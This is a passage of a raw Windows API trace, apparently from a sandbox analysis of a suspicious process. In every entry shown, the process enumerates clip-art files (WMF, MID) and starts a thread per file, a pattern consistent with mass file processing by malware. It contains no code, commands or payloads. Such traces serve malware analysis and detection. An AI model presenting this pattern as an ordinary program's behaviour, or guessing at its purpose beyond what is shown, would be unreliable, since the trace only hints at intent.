	[0234.261] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1
	[0234.261] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1338
	[0234.264] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.265] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1
	[0234.265] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x133c
	[0234.267] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.268] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1
	[0234.268] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1340
	[0234.314] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.315] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1
	[0234.384] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1344
	[0234.386] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.386] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1
	[0234.387] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1348
	[0234.389] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.389] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1
	[0234.389] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134c
	[0234.391] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.392] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1
	[0234.392] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1350
	[0234.393] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.394] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1
	[0234.394] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1354
	[0234.396] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.396] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x72, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1
	[0234.396] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1358
	[0234.399] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.399] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x72, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1
	[0234.399] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x135c
	[0234.402] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.402] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x72, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1
	[0234.402] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1360
	[0234.404] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.405] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x72, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1
	[0234.405] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1364
	[0234.407] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.407] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x72, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1
	[0234.407] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1368
	[0234.411] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.411] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1
	[0234.411] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x136c
	[0234.413] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.414] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57852200, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57852200, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1
	[0234.414] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1370
	[0234.416] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.416] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a68a00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7a68a00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1
	[0234.417] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1374
	[0234.448] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.449] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dc9900, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1dc9900, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1
	[0234.449] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1378
	[0234.451] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.452] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec7300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7ec7300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1
	[0234.452] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x137c
	[0234.454] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.454] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bc3900, ftCreationTime.dwHighDateTime=0x1bd4af5, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bc3900, ftLastWriteTime.dwHighDateTime=0x1bd4af5, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1
	[0234.454] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1380
	[0234.456] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.457] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131c200, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1131c200, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1
	[0234.457] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1384
	[0234.459] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.460] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51904f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51904f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1
	[0234.460] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1388
	[0234.462] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.463] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x72, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1
	[0234.463] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138c
	[0234.465] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.465] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x72, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1
	[0234.465] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1390
	[0234.467] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.468] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadef6200, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadef6200, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1
	[0234.468] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1394
	[0234.470] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.471] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5bdb00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa5bdb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1
	[0234.471] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1398
	[0234.473] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.473] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bb4600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bb4600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1
	[0234.473] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x139c
	[0234.475] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.476] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58a1900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58a1900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1
	[0234.476] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a0
	[0234.478] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
